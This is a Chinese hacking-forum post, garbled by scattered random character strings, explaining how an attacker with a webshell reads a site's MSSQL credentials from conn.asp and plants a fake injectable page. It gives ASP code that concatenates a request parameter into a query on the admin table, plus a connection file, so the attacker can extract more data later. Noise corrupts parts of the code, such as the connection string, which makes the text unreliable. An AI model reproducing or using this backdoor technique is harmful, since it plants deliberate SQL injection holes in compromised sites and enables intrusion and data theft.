自己构造注入点方便入侵
, g- w0 _7 c; P
1 Z8 `& Y- m6 @( S, G今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息, O& F" q2 Q6 Q
2 @) _- x: ^. Y3 l! @5 N
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
6 n/ w, k H+ X) T' g) s. F/ H n @4 F3 a' g! F! [7 s
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
/ H5 P) j, T( o- U- T2 ~8 S* v, H4 P6 @
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
( t, R P4 K$ p% Z& d- O
4 L% h8 H- i$ M因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:8 k2 e& p: c" S+ P/ g( c, W$ S% ~
% x4 p( n2 n2 q) }8 P! ~
程序代码1 ~$ ^" L9 q$ X9 u: J1 U4 `
<!--#include file="xx.asp"-->4 R. X2 X' ~, u! d! V3 q- s
<%
9 d; ?' o+ G0 f" tset rs=server.createobject("ADODB.recordset")# l6 `4 F0 N+ q7 ~( h9 ^& N% G
id = request("id")
4 x* F0 x6 b Z6 C* I: \strSQL = "select * from admin where id=" & id
3 I' _; @# z. b5 Lrs.open strSQL,conn,1,3. S3 U h0 n+ T' d% J. W
rs.close
4 R- t6 c5 \' X" R- I) e1 V%>
/ S. S! N$ o; f" O3 S1 c4 N4 c) h; c3 T0 M0 ] v& g
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在, ~4 `3 B2 V+ R" {
0 V/ P/ j7 n! j% t1 P! r* n- @9 s你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!- t3 s7 u8 ~1 ~6 C
( x" D0 Z: G d9 {$ t
然后就要构造一个连接数据库的文件了,代码如下:8 J7 Q$ B8 ]5 M' y1 D
程序代码! p: S4 F: g8 C0 W2 A9 [" ^
<% ' Q: V9 ^8 u* ~! r9 W+ S
strSQLServerName = "000.000.000.000" '服务器名称或地址4 E! R5 _ T% y7 u2 q/ p8 k1 R
strSQLDBUserName = "sqlname" '数据库帐号
s; k% a4 X2 Z( [& Z0 ostrSQLDBPassword = "sqlpass" '数据库密码: U3 e$ N' U, k6 |' T5 ~
strSQLDBName = "sqldataname" '数据库名称# b3 M& u7 h4 q. s4 [7 A0 a
Set conn = Server.CreateObject("ADODB.Connection")% |6 W" n" v D5 Z
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"8 h8 o" r# Z( ?
conn.open strCon
) ^+ M8 ]* |. j ~7 @%>6 d5 a4 N, p! l1 W
1 p! `$ e: w) n% C" H" Y- S0 d1 h这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,0 y4 O1 H- Z, A) g, ]# ^0 H
. |3 y8 F6 o( l7 j% F* P9 V就这样,正常情况下,就OK了,伪造成功……' n$ b3 f& ]+ S3 o1 s8 i
( c" I$ v5 N: c& R$ s8 U# \. h; }
如果有什么问题可以提出来大家一起探讨解决。 |